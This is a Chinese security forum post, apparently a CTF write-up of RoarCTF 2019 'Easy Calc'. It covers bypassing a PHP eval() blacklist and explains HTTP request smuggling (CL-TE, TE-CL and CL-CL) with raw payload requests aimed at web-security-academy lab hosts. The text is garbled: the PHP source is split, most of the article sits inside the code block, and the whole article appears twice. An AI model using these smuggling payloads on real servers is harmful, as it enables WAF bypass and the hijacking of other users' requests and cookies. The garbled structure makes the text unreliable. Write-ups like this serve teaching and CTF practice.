安全矩阵

 找回密码
 立即注册
搜索
查看: 2469|回复: 0

从一道CTF题到HTTP请求走私攻击

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-5 15:49:20 | 显示全部楼层 |阅读模式
原文链接:从一道CTF题到HTTP请求走私攻击

01
前言

     最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。
02
RoarCTF 2019 Easy Calc
先看下源码:
  1. <?php
  2. error_reporting(0);
  3. if(!isset($_GET['num'])){
  4.    show_source(__FILE__);
  5. }else{
  6.        $str = $_GET['num'];
  7.        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\
  8. 用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:[img=1,1]https://img-blog.csdnimg.cn/f713d874273746639608a6e5cc57c7c3.gif[/img][img=15,15]data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==[/img]​

  9. 到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念
  10. [b]03[/b]
  11. [b]什么是HTTP请求走私[/b]
  12. HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。
  13. Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。
  14. 这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。
  15. [b]04[/b]
  16. [b]如何实现HTTP请求走私攻击[/b]
  17. 当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
  18. [b]CL不为0时[/b]该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。
  19. [code]GET / HTTP/1.1\r\n
  20. Host: example.com\r\n
  21. Content-Length : 51\r\n
  22. \r\n
  23. GET / HTTP/1.1\r\n
  24. Host: example.com\r\n
  25. attack: 1\r\n
  26. hhh:
复制代码

这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中
  1. GET / HTTP/1.1\r\n
  2. Host: example.com\r\n
  3. Content-Length : 51\r\n
  4. \r\n
  5. GET / HTTP/1.1\r\n
  6. Host: example.com\r\n
  7. attack: 1\r\n
  8. hhh: GET / HTTP/1.1\r\n
  9. Host: example.com\r\n
  10. Content-Length : 51\r\n
复制代码

这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。CL-TECL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:
  1. POST / HTTP/1.1
  2. Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
  3. Connection: close
  4. Cache-Control: max-age=0
  5. sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
  6. sec-ch-ua-mobile: ?0
  7. sec-ch-ua-platform: "Windows"
  8. Upgrade-Insecure-Requests: 1
  9. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
  10. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  11. Sec-Fetch-Site: none
  12. Sec-Fetch-Mode: navigate
  13. Sec-Fetch-User: ?1
  14. Sec-Fetch-Dest: document
  15. Accept-Language: zh-CN,zh;q=0.9
  16. Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
  17. Content-Length: 6
  18. Transfer-Encoding: chunked

  19. 0

  20. A
复制代码


当我们用Burp两次重放该数据包,会得到返回结果:

解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样:
  1. 0\r\n
  2. \r\n
  3. A
复制代码
后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。
TE-CLTE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:
  1. POST / HTTP/1.1
  2. Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  5. Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
  6. Content-length: 4
  7. Transfer-Encoding: chunked

  8. 5c
  9. GPOST / HTTP/1.1
  10. Content-Type: application/x-www-form-urlencoded
  11. Content-Length: 15

  12. x=1
  13. 0

复制代码


前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。


CL-CLCL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理
05
回到最初
因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。


,'\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
              }
      }
       eval('echo '.$str.';');
}
?>[/code]
用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:

到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念
03
什么是HTTP请求走私
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。
Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。
这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。
04
如何实现HTTP请求走私攻击
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
CL不为0时该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。
  1. GET / HTTP/1.1\r\n
  2. Host: example.com\r\n
  3. Content-Length : 51\r\n
  4. \r\n
  5. GET / HTTP/1.1\r\n
  6. Host: example.com\r\n
  7. attack: 1\r\n
  8. hhh:
复制代码

这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中
  1. GET / HTTP/1.1\r\n
  2. Host: example.com\r\n
  3. Content-Length : 51\r\n
  4. \r\n
  5. GET / HTTP/1.1\r\n
  6. Host: example.com\r\n
  7. attack: 1\r\n
  8. hhh: GET / HTTP/1.1\r\n
  9. Host: example.com\r\n
  10. Content-Length : 51\r\n
复制代码

这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。CL-TECL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:
  1. POST / HTTP/1.1
  2. Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
  3. Connection: close
  4. Cache-Control: max-age=0
  5. sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
  6. sec-ch-ua-mobile: ?0
  7. sec-ch-ua-platform: "Windows"
  8. Upgrade-Insecure-Requests: 1
  9. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
  10. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  11. Sec-Fetch-Site: none
  12. Sec-Fetch-Mode: navigate
  13. Sec-Fetch-User: ?1
  14. Sec-Fetch-Dest: document
  15. Accept-Language: zh-CN,zh;q=0.9
  16. Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
  17. Content-Length: 6
  18. Transfer-Encoding: chunked

  19. 0

  20. A
复制代码


当我们用Burp两次重放该数据包,会得到返回结果:

解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样:
  1. 0\r\n
  2. \r\n
  3. A
复制代码
后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。
TE-CLTE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:
  1. POST / HTTP/1.1
  2. Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  5. Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
  6. Content-length: 4
  7. Transfer-Encoding: chunked

  8. 5c
  9. GPOST / HTTP/1.1
  10. Content-Type: application/x-www-form-urlencoded
  11. Content-Length: 15

  12. x=1
  13. 0

复制代码


前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。


CL-CLCL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理
05
回到最初
因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 00:32 , Processed in 0.014157 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表